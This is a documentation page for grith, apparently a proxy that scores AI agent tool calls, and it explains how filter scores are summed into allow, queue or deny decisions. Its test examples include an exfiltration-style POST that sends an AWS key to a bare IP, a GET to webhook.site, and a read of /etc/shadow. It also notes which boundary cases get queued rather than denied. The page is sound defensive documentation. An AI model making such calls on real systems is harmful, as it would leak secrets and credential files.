grithdocs

Composite scoring

The composite is a plain sum of what matched, and two strict comparisons decide allow, queue or deny.

The composite score is the sum of the scores of the filters that matched. That is the whole algorithm. No weights, no normalisation, no per-filter ceiling, no maximum.

Three filters can subtract: allowlist, egress-policy and reputation each emit -1.0 when they recognise something as known-good, so a composite can be negative. A plain GET to github.com scores 0.5 from operation-risk, -1.0 from egress-policy and -1.0 from reputation - composite -1.5, allowed.

The three bands

CompositeDecision
3.0 or belowALLOW
above 3.0, up to and including 8.0QUEUE
above 8.0DENY

Both boundaries are strict greater-than, so both boundary values fall on the less restrictive side. Exactly 3.0 allows. Exactly 8.0 queues. A call landing on 8.0 goes to a human, not to a denial.

That is not trivia. A read of /etc/shadow lands on exactly 8.0 - path-match 5.0 plus sensitive-path-heuristic 3.0 - and goes in front of a human rather than being refused outright. So does a GET to a known-malicious host:

terminal
$ grith proxy test '{"type":"HttpRequest","method":"GET","url":"https://webhook.site/abc"}'
Proxy Test Result
==================================================
Tool call:   HttpRequest(GET https://webhook.site/abc)
Score:       8.0
Decision:    QUEUE (Critical)
Reason:      Score 8.0 in escalation zone
Eval time:   2.84ms
Thresholds:  allow < 3, deny > 8
Filters:     18 active

Filter Breakdown:
  + operation-risk         0.5  [notice]  HTTP request: GET https://webhook.site/abc
  . path-match             0.0
  . sensitive-path-heuristic   0.0
  . allowlist              0.0
  . argument               0.0
  . capability             0.0
  . secret-scan            0.0
  . command                0.0
  . destructive-action     0.0
  + egress-policy          3.5  [warning]  Unknown outbound destination from http_request: webhook.site
  . dlp-gate               0.0
  . canary                 0.0
  + reputation             4.0  [critical]  Known malicious domain: webhook.site
  . behavioural            0.0
  . taint                  0.0
  . session-containment    0.0
  . rate-limit             0.0
  . egress-rate            0.0

Exit code:   1 (queue (critical))

The thresholds are identical for every call. There is no cold-start widening: the first call of a fresh install is scored exactly like the ten-thousandth.

No filter can force a decision

A filter result carries a name, a match flag, a score, a rule id, a severity, a message and some metadata. There is no allow field, no deny field, no queue field. A filter cannot vote on the outcome; it can only contribute a number.

What people call a "hard deny" is always a score deliberately set above 8.0 so it clears the line unaided:

FilterScoreFires when
capability10.0A configured capability grant does not cover this call
canary9.5A registered decoy secret appears in an outbound call
destructive-action9.0A catastrophic destructive command

Each denies by arithmetic. Nothing clamps them, and nothing clamps the total - which is how three moderate filters add up to a denial:

terminal
$ grith proxy test '{"type":"HttpRequest","method":"POST","url":"https://198.51.100.7/collect","body":"AKIAIOSFODNN7EXAMPLE"}'
Score:       11.0
Decision:    DENY
Reason:      HTTP POST request (carries body): https://198.51.100.7/collect; AWS access key ID detected; Secret detected in outbound arguments [aws-key]: aws-access-key
Thresholds:  allow < 3, deny > 8
Filters:     18 active

Filter Breakdown:
  + operation-risk         1.0  [notice]  HTTP POST request (carries body): https://198.51.100.7/collect
  . path-match             0.0
  . sensitive-path-heuristic   0.0
  . allowlist              0.0
  . argument               0.0
  . capability             0.0
  + secret-scan            5.0  [critical]  AWS access key ID detected
  . command                0.0
  . destructive-action     0.0
  . egress-policy          0.0
  + dlp-gate               5.0  [error]  Secret detected in outbound arguments [aws-key]: aws-access-key
  . canary                 0.0

Exit code:   2 (deny)

Critical, Error, Warning and Notice in that breakdown are each filter's own severity label, not a band read off the number - secret-scan calls 5.0 critical where dlp-gate calls the same 5.0 an error. They change nothing about the decision.

What happens after the sum

Two things sit outside the pipeline and are easy to confuse with it.

The meta-rules run once, after phase 3, and adjust the total - except score_override, which replaces it and stops the rule loop dead. ssh-key-access is the only override rule shipped.

The learned reputation table is applied later still, in the daemon, and only to a QUEUE. It never revisits a DENY, and it never lowers a score by degrees: it either flips the whole call to allow or leaves it exactly as it was. See adaptive reputation.

grith proxy test exits 0 for allow, 1 for queue, 2 for deny, so any of this can be checked from a script.

See also

Last updated: 2026-08-24Edit this page on GitHub →